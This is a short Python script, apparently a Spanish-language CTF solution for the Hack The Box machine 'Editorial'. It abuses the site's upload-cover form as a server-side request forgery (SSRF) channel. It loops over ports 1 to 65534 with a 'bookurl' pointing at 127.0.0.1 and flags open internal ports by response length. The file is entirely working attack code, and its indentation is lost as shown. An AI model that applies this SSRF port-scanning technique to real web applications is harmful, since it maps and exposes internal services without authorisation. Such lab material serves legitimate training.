#!/usr/bin/python3
import requests
import os
import signal
import time
from pwn import *
def def_handler(sig, frame):
print("\n\n[!]Saliendo....\n")
sys.exit(1)
signal.signal(signal.SIGINT, def_handler)
def scanPorts():
burp0_url = "http://editorial.htb:80/upload-cover"
burp0_headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0", "Accept": "*/*", "Accept-Language": "en-US,en;q=0.5", "Content-Disposition": "inline", "Accept-Encoding": "gzip, deflate, br", "Content-Type": "multipart/form-data; boundary=---------------------------134859763814168705221183954404", "Origin": "http://editorial.htb", "Connection": "keep-alive", "Referer": "http://editorial.htb/upload"}
openPorts = ""
p2 = log.progress("Ports open")
p1 = log.progress("Scanning port")
for port in range(1, 65535):
burp0_data = f"-----------------------------134859763814168705221183954404\r\nContent-Disposition: form-data; name=\"bookurl\"\r\n\r\nhttp://127.0.0.1:{port}\r\n-----------------------------134859763814168705221183954404\r\nContent-Disposition: form-data; name=\"bookfile\"; filename=\"\"\r\nContent-Type: application/octet-stream\r\n\r\n\r\n-----------------------------134859763814168705221183954404--\r\n"
response = requests.post(burp0_url, headers=burp0_headers, data=burp0_data)
lon = len(response.text)
p1.status(port)
if (lon != 61):
if (openPorts == ""):
openPorts = port
else:
openPorts += f",{port}"
p2.status(openPorts)
if __name__ == '__main__':
scanPorts()